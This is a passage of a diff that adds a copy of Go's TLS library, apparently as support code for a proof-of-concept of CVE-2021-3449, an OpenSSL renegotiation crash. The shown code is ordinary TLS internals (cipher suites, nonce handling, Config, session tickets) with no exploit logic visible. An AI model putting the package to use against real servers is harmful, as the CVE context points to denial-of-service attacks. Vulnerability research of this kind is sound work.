f.aead.Seal(out, f.nonceMask[:], plaintext, additionalData) + for i, b := range nonce { + f.nonceMask[4+i] ^= b + } + + return result +} + +func (f *xorNonceAEAD) Open(out, nonce, ciphertext, additionalData []byte) ([]byte, error) { + for i, b := range nonce { + f.nonceMask[4+i] ^= b + } + result, err := f.aead.Open(out, f.nonceMask[:], ciphertext, additionalData) + for i, b := range nonce { + f.nonceMask[4+i] ^= b + } + + return result, err +} + +func aeadAESGCM(key, noncePrefix []byte) aead { + if len(noncePrefix) != noncePrefixLength { + panic("tls: internal error: wrong nonce length") + } + aes, err := aes.NewCipher(key) + if err != nil { + panic(err) + } + aead, err := cipher.NewGCM(aes) + if err != nil { + panic(err) + } + + ret := &prefixNonceAEAD{aead: aead} + copy(ret.nonce[:], noncePrefix) + return ret +} + +func aeadChaCha20Poly1305(key, nonceMask []byte) aead { + if len(nonceMask) != aeadNonceLength { + panic("tls: internal error: wrong nonce length") + } + aead, err := chacha20poly1305.New(key) + if err != nil { + panic(err) + } + + ret := &xorNonceAEAD{aead: aead} + copy(ret.nonceMask[:], nonceMask) + return ret +} + +type constantTimeHash interface { + hash.Hash + ConstantTimeSum(b []byte) []byte +} + +// cthWrapper wraps any hash.Hash that implements ConstantTimeSum, and replaces +// with that all calls to Sum. It's used to obtain a ConstantTimeSum-based HMAC. +type cthWrapper struct { + h constantTimeHash +} + +func (c *cthWrapper) Size() int { return c.h.Size() } +func (c *cthWrapper) BlockSize() int { return c.h.BlockSize() } +func (c *cthWrapper) Reset() { c.h.Reset() } +func (c *cthWrapper) Write(p []byte) (int, error) { return c.h.Write(p) } +func (c *cthWrapper) Sum(b []byte) []byte { return c.h.ConstantTimeSum(b) } + +func newConstantTimeHash(h func() hash.Hash) func() hash.Hash { + return func() hash.Hash { + return &cthWrapper{h().(constantTimeHash)} + } +} + +// tls10MAC implements the TLS 1.0 MAC function. RFC 2246, Section 6.2.3. +type tls10MAC struct { + h hash.Hash + buf []byte +} + +func (s tls10MAC) Size() int { + return s.h.Size() +} + +// MAC is guaranteed to take constant time, as long as +// len(seq)+len(header)+len(data)+len(extra) is constant. extra is not fed into +// the MAC, but is only provided to make the timing profile constant. +func (s tls10MAC) MAC(seq, header, data, extra []byte) []byte { + s.h.Reset() + s.h.Write(seq) + s.h.Write(header) + s.h.Write(data) + res := s.h.Sum(s.buf[:0]) + if extra != nil { + s.h.Write(extra) + } + return res +} + +func rsaKA(version uint16) keyAgreement { + return rsaKeyAgreement{} +} + +func ecdheECDSAKA(version uint16) keyAgreement { + return &ecdheKeyAgreement{ + isRSA: false, + version: version, + } +} + +func ecdheRSAKA(version uint16) keyAgreement { + return &ecdheKeyAgreement{ + isRSA: true, + version: version, + } +} + +// mutualCipherSuite returns a cipherSuite given a list of supported +// ciphersuites and the id requested by the peer. +func mutualCipherSuite(have []uint16, want uint16) *cipherSuite { + for _, id := range have { + if id == want { + return cipherSuiteByID(id) + } + } + return nil +} + +func cipherSuiteByID(id uint16) *cipherSuite { + for _, cipherSuite := range cipherSuites { + if cipherSuite.id == id { + return cipherSuite + } + } + return nil +} + +// A list of cipher suite IDs that are, or have been, implemented by this +// package. +// +// See https://www.iana.org/assignments/tls-parameters/tls-parameters.xml +const ( + // TLS 1.0 - 1.2 cipher suites. + TLS_RSA_WITH_RC4_128_SHA uint16 = 0x0005 + TLS_RSA_WITH_3DES_EDE_CBC_SHA uint16 = 0x000a + TLS_RSA_WITH_AES_128_CBC_SHA uint16 = 0x002f + TLS_RSA_WITH_AES_256_CBC_SHA uint16 = 0x0035 + TLS_RSA_WITH_AES_128_CBC_SHA256 uint16 = 0x003c + TLS_RSA_WITH_AES_128_GCM_SHA256 uint16 = 0x009c + TLS_RSA_WITH_AES_256_GCM_SHA384 uint16 = 0x009d + TLS_ECDHE_ECDSA_WITH_RC4_128_SHA uint16 = 0xc007 + TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA uint16 = 0xc009 + TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA uint16 = 0xc00a + TLS_ECDHE_RSA_WITH_RC4_128_SHA uint16 = 0xc011 + TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA uint16 = 0xc012 + TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA uint16 = 0xc013 + TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA uint16 = 0xc014 + TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256 uint16 = 0xc023 + TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 uint16 = 0xc027 + TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 uint16 = 0xc02f + TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 uint16 = 0xc02b + TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 uint16 = 0xc030 + TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 uint16 = 0xc02c + TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 uint16 = 0xcca8 + TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256 uint16 = 0xcca9 + + // Legacy names for the corresponding cipher suites with the correct _SHA256 + // suffix, retained for backward compatibility. + TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305 = TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 + TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305 = TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256 +) diff --git a/cve/openssl/2021/CVE-2021-3449/tls/common.go b/cve/openssl/2021/CVE-2021-3449/tls/common.go new file mode 100644 index 00000000..dd42345b --- /dev/null +++ b/cve/openssl/2021/CVE-2021-3449/tls/common.go @@ -0,0 +1,900 @@ +// Copyright 2009 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +package tls + +import ( + "bytes" + "crypto" + "crypto/rand" + "crypto/sha512" + "crypto/x509" + "errors" + "fmt" + "io" + "math/big" + "net" + "sync" + "time" +) + +const ( + VersionTLS10 = 0x0301 + VersionTLS11 = 0x0302 + VersionTLS12 = 0x0303 +) + +const ( + maxPlaintext = 16384 // maximum plaintext payload length + recordHeaderLen = 5 // record header length + maxHandshake = 65536 // maximum handshake we support (protocol max is 16 MB) + maxUselessRecords = 16 // maximum number of consecutive non-advancing records +) + +// TLS record types. +type recordType uint8 + +const ( + recordTypeChangeCipherSpec recordType = 20 + recordTypeAlert recordType = 21 + recordTypeHandshake recordType = 22 + recordTypeApplicationData recordType = 23 +) + +// TLS handshake message types. +const ( + typeHelloRequest uint8 = 0 + typeClientHello uint8 = 1 + typeServerHello uint8 = 2 + typeNewSessionTicket uint8 = 4 + typeEndOfEarlyData uint8 = 5 + typeEncryptedExtensions uint8 = 8 + typeCertificate uint8 = 11 + typeServerKeyExchange uint8 = 12 + typeCertificateRequest uint8 = 13 + typeServerHelloDone uint8 = 14 + typeCertificateVerify uint8 = 15 + typeClientKeyExchange uint8 = 16 + typeFinished uint8 = 20 + typeCertificateStatus uint8 = 22 + typeKeyUpdate uint8 = 24 +) + +// TLS compression types. +const ( + compressionNone uint8 = 0 +) + +// TLS extension numbers +const ( + extensionServerName uint16 = 0 + extensionStatusRequest uint16 = 5 + extensionSupportedCurves uint16 = 10 // supported_groups in TLS 1.3, see RFC 8446, Section 4.2.7 + extensionSupportedPoints uint16 = 11 + extensionSignatureAlgorithms uint16 = 13 + extensionALPN uint16 = 16 + extensionSCT uint16 = 18 + extensionSessionTicket uint16 = 35 + extensionPreSharedKey uint16 = 41 + extensionEarlyData uint16 = 42 + extensionSupportedVersions uint16 = 43 + extensionCookie uint16 = 44 + extensionPSKModes uint16 = 45 + extensionCertificateAuthorities uint16 = 47 + extensionSignatureAlgorithmsCert uint16 = 50 + extensionKeyShare uint16 = 51 + extensionRenegotiationInfo uint16 = 0xff01 +) + +// TLS signaling cipher suite values +const ( + scsvRenegotiation uint16 = 0x00ff +) + +// CurveID is the type of a TLS identifier for an elliptic curve. See +// https://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-8. +// +// In TLS 1.3, this type is called NamedGroup, but at this time this library +// only supports Elliptic Curve based groups. See RFC 8446, Section 4.2.7. +type CurveID uint16 + +const ( + CurveP256 CurveID = 23 + CurveP384 CurveID = 24 + CurveP521 CurveID = 25 + X25519 CurveID = 29 +) + +// TLS 1.3 Key Share. See RFC 8446, Section 4.2.8. +type keyShare struct { + group CurveID + data []byte +} + +// TLS Elliptic Curve Point Formats +// https://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-9 +const ( + pointFormatUncompressed uint8 = 0 +) + +// TLS CertificateStatusType (RFC 3546) +const ( + statusTypeOCSP uint8 = 1 +) + +// Certificate types (for certificateRequestMsg) +const ( + certTypeRSASign = 1 + certTypeECDSASign = 64 // ECDSA or EdDSA keys, see RFC 8422, Section 3. +) + +// Signature algorithms (for internal signaling use). Starting at 225 to avoid overlap with +// TLS 1.2 codepoints (RFC 5246, Appendix A.4.1), with which these have nothing to do. +const ( + signaturePKCS1v15 uint8 = iota + 225 + signatureRSAPSS + signatureECDSA + signatureEd25519 +) + +// directSigning is a standard Hash value that signals that no pre-hashing +// should be performed, and that the input should be signed directly. It is the +// hash function associated with the Ed25519 signature scheme. +var directSigning crypto.Hash = 0 + +// supportedSignatureAlgorithms contains the signature and hash algorithms that +// the code advertises as supported in a TLS 1.2+ ClientHello and in a TLS 1.2+ +// CertificateRequest. The two fields are merged to match with TLS 1.3. +// Note that in TLS 1.2, the ECDSA algorithms are not constrained to P-256, etc. +var supportedSignatureAlgorithms = []SignatureScheme{ + PSSWithSHA256, + ECDSAWithP256AndSHA256, + Ed25519, + PSSWithSHA384, + PSSWithSHA512, + PKCS1WithSHA256, + PKCS1WithSHA384, + PKCS1WithSHA512, + ECDSAWithP384AndSHA384, + ECDSAWithP521AndSHA512, + PKCS1WithSHA1, + ECDSAWithSHA1, +} + +// ConnectionState records basic TLS details about the connection. +type ConnectionState struct { + Version uint16 // TLS version used by the connection (e.g. VersionTLS12) + HandshakeComplete bool // TLS handshake is complete + DidResume bool // connection resumes a previous TLS connection + CipherSuite uint16 // cipher suite in use (TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, ...) + NegotiatedProtocol string // negotiated next protocol (not guaranteed to be from Config.NextProtos) + NegotiatedProtocolIsMutual bool // negotiated protocol was advertised by server (client side only) + ServerName string // server name requested by client, if any (server side only) + PeerCertificates []*x509.Certificate // certificate chain presented by remote peer + VerifiedChains [][]*x509.Certificate // verified chains built from PeerCertificates + SignedCertificateTimestamps [][]byte // SCTs from the peer, if any + OCSPResponse []byte // stapled OCSP response from peer, if any + + // ekm is a closure exposed via ExportKeyingMaterial. + ekm func(label string, context []byte, length int) ([]byte, error) + + // TLSUnique contains the "tls-unique" channel binding value (see RFC + // 5929, section 3). For resumed sessions this value will be nil + // because resumption does not include enough context (see + // https://mitls.org/pages/attacks/3SHAKE#channelbindings). This will + // change in future versions of Go once the TLS master-secret fix has + // been standardized and implemented. It is not defined in TLS 1.3. + TLSUnique []byte +} + +// ExportKeyingMaterial returns length bytes of exported key material in a new +// slice as defined in RFC 5705. If context is nil, it is not used as part of +// the seed. If the connection was set to allow renegotiation via +// Config.Renegotiation, this function will return an error. +func (cs *ConnectionState) ExportKeyingMaterial(label string, context []byte, length int) ([]byte, error) { + return cs.ekm(label, context, length) +} + +// ClientSessionState contains the state needed by clients to resume TLS +// sessions. +type ClientSessionState struct { + sessionTicket []uint8 // Encrypted ticket used for session resumption with server + vers uint16 // TLS version negotiated for the session + cipherSuite uint16 // Ciphersuite negotiated for the session + masterSecret []byte // Full handshake MasterSecret, or TLS 1.3 resumption_master_secret + serverCertificates []*x509.Certificate // Certificate chain presented by the server + verifiedChains [][]*x509.Certificate // Certificate chains we built for verification + receivedAt time.Time // When the session ticket was received from the server + + // TLS 1.3 fields. + nonce []byte // Ticket nonce sent by the server, to derive PSK + useBy time.Time // Expiration of the ticket lifetime as set by the server + ageAdd uint32 // Random obfuscation factor for sending the ticket age +} + +// ClientSessionCache is a cache of ClientSessionState objects that can be used +// by a client to resume a TLS session with a given server. ClientSessionCache +// implementations should expect to be called concurrently from different +// goroutines. Up to TLS 1.2, only ticket-based resumption is supported, not +// SessionID-based resumption. In TLS 1.3 they were merged into PSK modes, which +// are supported via this interface. +type ClientSessionCache interface { + // Get searches for a ClientSessionState associated with the given key. + // On return, ok is true if one was found. + Get(sessionKey string) (session *ClientSessionState, ok bool) + + // Put adds the ClientSessionState to the cache with the given key. It might + // get called multiple times in a connection if a TLS 1.3 server provides + // more than one session ticket. If called with a nil *ClientSessionState, + // it should remove the cache entry. + Put(sessionKey string, cs *ClientSessionState) +} + +// SignatureScheme identifies a signature algorithm supported by TLS. See +// RFC 8446, Section 4.2.3. +type SignatureScheme uint16 + +const ( + // RSASSA-PKCS1-v1_5 algorithms. + PKCS1WithSHA256 SignatureScheme = 0x0401 + PKCS1WithSHA384 SignatureScheme = 0x0501 + PKCS1WithSHA512 SignatureScheme = 0x0601 + + // RSASSA-PSS algorithms with public key OID rsaEncryption. + PSSWithSHA256 SignatureScheme = 0x0804 + PSSWithSHA384 SignatureScheme = 0x0805 + PSSWithSHA512 SignatureScheme = 0x0806 + + // ECDSA algorithms. Only constrained to a specific curve in TLS 1.3. + ECDSAWithP256AndSHA256 SignatureScheme = 0x0403 + ECDSAWithP384AndSHA384 SignatureScheme = 0x0503 + ECDSAWithP521AndSHA512 SignatureScheme = 0x0603 + + // EdDSA algorithms. + Ed25519 SignatureScheme = 0x0807 + + // Legacy signature and hash algorithms for TLS 1.2. + PKCS1WithSHA1 SignatureScheme = 0x0201 + ECDSAWithSHA1 SignatureScheme = 0x0203 +) + +// ClientHelloInfo contains information from a ClientHello message in order to +// guide application logic in the GetCertificate and GetConfigForClient callbacks. +type ClientHelloInfo struct { + // CipherSuites lists the CipherSuites supported by the client (e.g. + // TLS_AES_128_GCM_SHA256, TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256). + CipherSuites []uint16 + + // ServerName indicates the name of the server requested by the client + // in order to support virtual hosting. ServerName is only set if the + // client is using SNI (see RFC 4366, Section 3.1). + ServerName string + + // SupportedCurves lists the elliptic curves supported by the client. + // SupportedCurves is set only if the Supported Elliptic Curves + // Extension is being used (see RFC 4492, Section 5.1.1). + SupportedCurves []CurveID + + // SupportedPoints lists the point formats supported by the client. + // SupportedPoints is set only if the Supported Point Formats Extension + // is being used (see RFC 4492, Section 5.1.2). + SupportedPoints []uint8 + + // SignatureSchemes lists the signature and hash schemes that the client + // is willing to verify. SignatureSchemes is set only if the Signature + // Algorithms Extension is being used (see RFC 5246, Section 7.4.1.4.1). + SignatureSchemes []SignatureScheme + + // SupportedProtos lists the application protocols supported by the client. + // SupportedProtos is set only if the Application-Layer Protocol + // Negotiation Extension is being used (see RFC 7301, Section 3.1). + // + // Servers can select a protocol by setting Config.NextProtos in a + // GetConfigForClient return value. + SupportedProtos []string + + // SupportedVersions lists the TLS versions supported by the client. + // For TLS versions less than 1.3, this is extrapolated from the max + // version advertised by the client, so values other than the greatest + // might be rejected if used. + SupportedVersions []uint16 + + // Conn is the underlying net.Conn for the connection. Do not read + // from, or write to, this connection; that will cause the TLS + // connection to fail. + Conn net.Conn + + // config is embedded by the GetCertificate or GetConfigForClient caller, + // for use with SupportsCertificate. + config *Config +} + +// CertificateRequestInfo contains information from a server's +// CertificateRequest message, which is used to demand a certificate and proof +// of control from a client. +type CertificateRequestInfo struct { + // AcceptableCAs contains zero or more, DER-encoded, X.501 + // Distinguished Names. These are the names of root or intermediate CAs + // that the server wishes the returned certificate to be signed by. An + // empty slice indicates that the server has no preference. + AcceptableCAs [][]byte + + // SignatureSchemes lists the signature schemes that the server is + // willing to verify. + SignatureSchemes []SignatureScheme + + // Version is the TLS version that was negotiated for this connection. + Version uint16 +} + +// RenegotiationSupport enumerates the different levels of support for TLS +// renegotiation. TLS renegotiation is the act of performing subsequent +// handshakes on a connection after the first. This significantly complicates +// the state machine and has been the source of numerous, subtle security +// issues. Initiating a renegotiation is not supported, but support for +// accepting renegotiation requests may be enabled. +// +// Even when enabled, the server may not change its identity between handshakes +// (i.e. the leaf certificate must be the same). Additionally, concurrent +// handshake and application data flow is not permitted so renegotiation can +// only be used with protocols that synchronise with the renegotiation, such as +// HTTPS. +// +// Renegotiation is not defined in TLS 1.3. +type RenegotiationSupport int + +const ( + // RenegotiateNever disables renegotiation. + RenegotiateNever RenegotiationSupport = iota + + // RenegotiateOnceAsClient allows a remote server to request + // renegotiation once per connection. + RenegotiateOnceAsClient + + // RenegotiateFreelyAsClient allows a remote server to repeatedly + // request renegotiation. + RenegotiateFreelyAsClient +) + +// A Config structure is used to configure a TLS client or server. +// After one has been passed to a TLS function it must not be +// modified. A Config may be reused; the tls package will also not +// modify it. +type Config struct { + // Rand provides the source of entropy for nonces and RSA blinding. + // If Rand is nil, TLS uses the cryptographic random reader in package + // crypto/rand. + // The Reader must be safe for use by multiple goroutines. + Rand io.Reader + + // Time returns the current time as the number of seconds since the epoch. + // If Time is nil, TLS uses time.Now. + Time func() time.Time + + // Certificates contains one or more certificate chains to present to the + // other side of the connection. The first certificate compatible with the + // peer's requirements is selected automatically. + // + // Server configurations must set one of Certificates, GetCertificate or + // GetConfigForClient. Clients doing client-authentication may set either + // Certificates or GetClientCertificate. + // + // Note: if there are multiple Certificates, and they don't have the + // optional field Leaf set, certificate selection will incur a significant + // per-handshake performance cost. + Certificates []Certificate + + // GetCertificate returns a Certificate based on the given + // ClientHelloInfo. It will only be called if the client supplies SNI + // information or if Certificates is empty. + // + // If GetCertificate is nil or returns nil, then the certificate is + // retrieved from NameToCertificate. If NameToCertificate is nil, the + // best element of Certificates will be used. + GetCertificate func(*ClientHelloInfo) (*Certificate, error) + + // GetClientCertificate, if not nil, is called when a server requests a + // certificate from a client. If set, the contents of Certificates will + // be ignored. + // + // If GetClientCertificate returns an error, the handshake will be + // aborted and that error will be returned. Otherwise + // GetClientCertificate must return a non-nil Certificate. If + // Certificate.Certificate is empty then no certificate will be sent to + // the server. If this is unacceptable to the server then it may abort + // the handshake. + // + // GetClientCertificate may be called multiple times for the same + // connection if renegotiation occurs or if TLS 1.3 is in use. + GetClientCertificate func(*CertificateRequestInfo) (*Certificate, error) + + // GetConfigForClient, if not nil, is called after a ClientHello is + // received from a client. It may return a non-nil Config in order to + // change the Config that will be used to handle this connection. If + // the returned Config is nil, the original Config will be used. The + // Config returned by this callback may not be subsequently modified. + // + // If GetConfigForClient is nil, the Config passed to Server() will be + // used for all connections. + // + // Uniquely for the fields in the returned Config, session ticket keys + // will be duplicated from the original Config if not set. + // Specifically, if SetSessionTicketKeys was called on the original + // config but not on the returned config then the ticket keys from the + // original config will be copied into the new config before use. + // Otherwise, if SessionTicketKey was set in the original config but + // not in the returned config then it will be copied into the returned + // config before use. If neither of those cases applies then the key + // material from the returned config will be used for session tickets. + GetConfigForClient func(*ClientHelloInfo) (*Config, error) + + // RootCAs defines the set of root certificate authorities + // that clients use when verifying server certificates. + // If RootCAs is nil, TLS uses the host's root CA set. + RootCAs *x509.CertPool + + // NextProtos is a list of supported application level protocols, in + // order of preference. + NextProtos []string + + // ServerName is used to verify the hostname on the returned + // certificates unless InsecureSkipVerify is given. It is also included + // in the client's handshake to support virtual hosting unless it is + // an IP address. + ServerName string + + // ClientCAs defines the set of root certificate authorities + // that servers use if required to verify a client certificate + // by the policy in ClientAuth. + ClientCAs *x509.CertPool + + // InsecureSkipVerify controls whether a client verifies the + // server's certificate chain and host name. + // If InsecureSkipVerify is true, TLS accepts any certificate + // presented by the server and any host name in that certificate. + // In this mode, TLS is susceptible to man-in-the-middle attacks. + // This should be used only for testing. + InsecureSkipVerify bool + + // CipherSuites is a list of supported cipher suites for TLS versions up to + // TLS 1.2. If CipherSuites is nil, a default list of secure cipher suites + // is used, with a preference order based on hardware performance. The + // default cipher suites might change over Go versions. Note that TLS 1.3 + // ciphersuites are not configurable. + CipherSuites []uint16 + + // PreferServerCipherSuites controls whether the server selects the + // client's most preferred ciphersuite, or the server's most preferred + // ciphersuite. If true then the server's preference, as expressed in + // the order of elements in CipherSuites, is used. + PreferServerCipherSuites bool + + // SessionTicketsDisabled may be set to true to disable session ticket and + // PSK (resumption) support. Note that on clients, session ticket support is + // also disabled if ClientSessionCache is nil. + SessionTicketsDisabled bool + + // SessionTicketKey is used by TLS servers to provide session resumption. + // See RFC 5077 and the PSK mode of RFC 8446. If zero, it will be filled + // with random data before the first server handshake. + // + // If multiple servers are terminating connections for the same host + // they should all have the same SessionTicketKey. If the + // SessionTicketKey leaks, previously recorded and future TLS + // connections using that key might be compromised. + SessionTicketKey [32]byte + + // ClientSessionCache is a cache of ClientSessionState entries for TLS + // session resumption. It is only used by clients. + ClientSessionCache ClientSessionCache + + // MinVersion contains the minimum TLS version that is acceptable. + // If zero, TLS 1.0 is currently taken as the minimum. + MinVersion uint16 + + // MaxVersion contains the maximum TLS version that is acceptable. + // If zero, the maximum version supported by this package is used, + // which is currently TLS 1.3. + MaxVersion uint16 + + // CurvePreferences contains the elliptic curves that will be used in + // an ECDHE handshake, in preference order. If empty, the default will + // be used. The client will use the first preference as the type for + // its key share in TLS 1.3. This may change in the future. + CurvePreferences []CurveID + + // DynamicRecordSizingDisabled disables adaptive sizing of TLS records. + // When true, the largest possible TLS record size is always used. When + // false, the size of TLS records may be adjusted in an attempt to + // improve latency. + DynamicRecordSizingDisabled bool + + // Renegotiation controls what types of renegotiation are supported. + // The default, none, is correct for the vast majority of applications. + Renegotiation RenegotiationSupport + + // KeyLogWriter optionally specifies a destination for TLS master secrets + // in NSS key log format that can be used to allow external programs + // such as Wireshark to decrypt TLS connections. + // See https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSS/Key_Log_Format. + // Use of KeyLogWriter compromises security and should only be + // used for debugging. + KeyLogWriter io.Writer + + serverInitOnce sync.Once // guards calling (*Config).serverInit + + // mutex protects sessionTicketKeys. + mutex sync.RWMutex + // sessionTicketKeys contains zero or more ticket keys. If the length + // is zero, SessionTicketsDisabled must be true. The first key is used + // for new tickets and any subsequent keys can be used to decrypt old + // tickets. + sessionTicketKeys []ticketKey +} + +// ticketKeyNameLen is the number of bytes of identifier that is prepended to +// an encrypted session ticket in order to identify the key used to encrypt it. +const ticketKeyNameLen = 16 + +// ticketKey is the internal representation of a session ticket key. +type ticketKey struct { + // keyName is an opaque byte string that serves to identify the session + // ticket key. It's exposed as plaintext in every session ticket. + keyName [ticketKeyNameLen]byte + aesKey [16]byte + hmacKey [16]byte +} + +// ticketKeyFromBytes converts from the external representation of a session +// ticket key to a ticketKey. Externally, session ticket keys are 32 random +// bytes and this function expands that into sufficient name and key material. +func ticketKeyFromBytes(b [32]byte) (key ticketKey) { + hashed := sha512.Sum512(b[:]) + copy(key.keyName[:], hashed[:ticketKeyNameLen]) + copy(key.aesKey[:], hashed[ticketKeyNameLen:ticketKeyNameLen+16]) + copy(key.hmacKey[:], hashed[ticketKeyNameLen+16:ticketKeyNameLen+32]) + return key +} + +// Clone returns a shallow clone of c. It is safe to clone a Config that is +// being used concurrently by a TLS client or server. +func (c *Config) Clone() *Config { + // Running serverInit ensures that it's safe to read + // SessionTicketsDisabled. + c.serverInitOnce.Do(func() { c.serverInit(nil) }) + + var sessionTicketKeys []ticketKey + c.mutex.RLock() + sessionTicketKeys = c.sessionTicketKeys + c.mutex.RUnlock() + + return &Config{ + Rand: c.Rand, + Time: c.Time, + Certificates: c.Certificates, + GetCertificate: c.GetCertificate, + GetClientCertificate: c.GetClientCertificate, + GetConfigForClient: c.GetConfigForClient, + RootCAs: c.RootCAs, + NextProtos: c.NextProtos, + ServerName: c.ServerName, + ClientCAs: c.ClientCAs, + InsecureSkipVerify: c.InsecureSkipVerify, + CipherSuites: c.CipherSuites, + PreferServerCipherSuites: c.PreferServerCipherSuites, + SessionTicketsDisabled: c.SessionTicketsDisabled, + SessionTicketKey: c.SessionTicketKey, + ClientSessionCache: c.ClientSessionCache, + MinVersion: c.MinVersion, + MaxVersion: c.MaxVersion, + CurvePreferences: c.CurvePreferences, + DynamicRecordSizingDisabled: c.DynamicRecordSizingDisabled, + Renegotiation: c.Renegotiation, + KeyLogWriter: c.KeyLogWriter, + sessionTicketKeys: sessionTicketKeys, + } +} + +// serverInit is run under c.serverInitOnce to do initialization of c. If c was +// returned by a GetConfigForClient callback then the argument should be the +// Config that was passed to Server, otherwise it should be nil. +func (c *Config) serverInit(originalConfig *Config) { + if c.SessionTicketsDisabled || len(c.ticketKeys()) != 0 { + return + } + + alreadySet := false + for _, b := range c.SessionTicketKey { + if b != 0 { + alreadySet = true + break + } + } + + if !alreadySet { + if originalConfig != nil { + copy(c.SessionTicketKey[:], originalConfig.SessionTicketKey[:]) + } else if _, err := io.ReadFull(c.rand(), c.SessionTicketKey[:]); err != nil { + c.SessionTicketsDisabled = true + return + } + } + + if originalConfig != nil { + originalConfig.mutex.RLock() + c.sessionTicketKeys = originalConfig.sessionTicketKeys + originalConfig.mutex.RUnlock() + } else { + c.sessionTicketKeys = []ticketKey{ticketKeyFromBytes(c.SessionTicketKey)} + } +} + +func (c *Config) ticketKeys() []ticketKey { + c.mutex.RLock() + // c.sessionTicketKeys is constant once created. SetSessionTicketKeys + // will only update it by replacing it with a new value. + ret := c.sessionTicketKeys + c.mutex.RUnlock() + return ret +} + +// SetSessionTicketKeys updates the session ticket keys for a server. The first +// key will be used when creating new tickets, while all keys can be used for +// decrypting tickets. It is safe to call this function while the server is +// running in order to rotate the session ticket keys. The function will panic +// if keys is empty. +func (c *Config) SetSessionTicketKeys(keys [][32]byte) { + if len(keys) == 0 { + panic("tls: keys must have at least one key") + } + + newKeys := make([]ticketKey, len(keys)) + for i, bytes := range keys { + newKeys[i] = ticketKeyFromBytes(bytes) + } + + c.mutex.Lock() + c.sessionTicketKeys = newKeys + c.mutex.Unlock() +} + +func (c *Config) rand() io.Reader { + r := c.Rand + if r == nil { + return rand.Reader + } + return r +} + +func (c *Config) time() time.Time { + t := c.Time + if t == nil { + t = time.Now + } + return t() +} + +func (c *Config) cipherSuites() []uint16 { + s := c.CipherSuites + if s == nil { + s = defaultCipherSuites() + } + return s +} + +var supportedVersions = []uint16{ + VersionTLS12, + VersionTLS11, + VersionTLS10, +} + +func (c *Config) supportedVersions() []uint16 { + versions := make([]uint16, 0, len(supportedVersions)) + for _, v := range supportedVersions { + if c != nil && c.MinVersion != 0 && v < c.MinVersion { + continue + } + if c != nil && c.MaxVersion != 0 && v > c.MaxVersion { + continue + } + versions = append(versions, v) + } + return versions +} + +func (c *Config) maxSupportedVersion() uint16 { + supportedVersions := c.supportedVersions() + if len(supportedVersions) == 0 { + return 0 + } + return supportedVersions[0] +} + +var defaultCurvePreferences = []CurveID{X25519, CurveP256, CurveP384, CurveP521} + +func (c *Config) curvePreferences() []CurveID { + if c == nil || len(c.CurvePreferences) == 0 { + return defaultCurvePreferences + } + return c.CurvePreferences +} + +func (c *Config) supportsCurve(curve CurveID) bool { + for _, cc := range c.curvePreferences() { + if cc == curve { + return true + } + } + return false +} + +// mutualVersion returns the protocol version to use given the advertised +// versions of the peer. Priority is given to the peer preference order. +func (c *Config) mutualVersion(peerVersions []uint16) (uint16, bool) { + supportedVersions := c.supportedVersions() + for _, peerVersion := range peerVersions { + for _, v := range supportedVersions { + if v == peerVersion { + return v, true + } + } + } + return 0, false +} + +// SupportsCertificate returns nil if the provided certificate is supported by +// the server that sent the CertificateRequest. Otherwise, it returns an error +// describing the reason for the incompatibility. +func (cri *CertificateRequestInfo) SupportsCertificate(c *Certificate) error { + if _, err := selectSignatureScheme(cri.Version, c, cri.SignatureSchemes); err != nil { + return err + } + + if len(cri.AcceptableCAs) == 0 { + return nil + } + + for j, cert := range c.Certificate { + x509Cert := c.Leaf + // Parse the certificate if this isn't the leaf node, or if + // chain.Leaf was nil. + if j != 0 || x509Cert == nil { + var err error + if x509Cert, err = x509.ParseCertificate(cert); err != nil { + return fmt.Errorf("failed to parse certificate #%d in the chain: %w", j, err) + } + } + + for _, ca := range cri.AcceptableCAs { + if bytes.Equal(x509Cert.RawIssuer, ca) { + return nil + } + } + } + return errors.New("chain is not signed by an acceptable CA") +} + +const ( + keyLogLabelTLS12 = "CLIENT_RANDOM" +) + +func (c *Config) writeKeyLog(label string, clientRandom, secret []byte) error { + if c.KeyLogWriter == nil { + return nil + } + + logLine := []byte(fmt.Sprintf("%s %x %x\n", label, clientRandom, secret)) + + writerMutex.Lock() + _, err := c.KeyLogWriter.Write(logLine) + writerMutex.Unlock() + + return err +} + +// writerMutex protects all KeyLogWriters globally. It is rarely enabled, +// and is only for debugging, so a global mutex saves space. +var writerMutex sync.Mutex + +// A Certificate is a chain of one or more certificates, leaf first. +type Certificate struct { + Certificate [][]byte + // PrivateKey contains the private key corresponding to the public key in + // Leaf. This must implement crypto.Signer with an RSA, ECDSA or Ed25519 PublicKey. + // For a server up to TLS 1.2, it can also implement crypto.Decrypter with + // an RSA PublicKey. + PrivateKey crypto.PrivateKey + // SupportedSignatureAlgorithms is an optional list restricting what + // signature algorithms the PrivateKey can be used for. + SupportedSignatureAlgorithms []SignatureScheme + // OCSPStaple contains an optional OCSP response which will be served + // to clients that request it. + OCSPStaple []byte + // SignedCertificateTimestamps contains an optional list of Signed + // Certificate Timestamps which will be served to clients that request it. + SignedCertificateTimestamps [][]byte + // Leaf is the parsed form of the leaf certificate, which may be initialized + // using x509.ParseCertificate to reduce per-handshake processing. If nil, + // the leaf certificate will be parsed as needed. + Leaf *x509.Certificate +} + +// leaf returns the parsed leaf certificate, either from c.Leaf or by 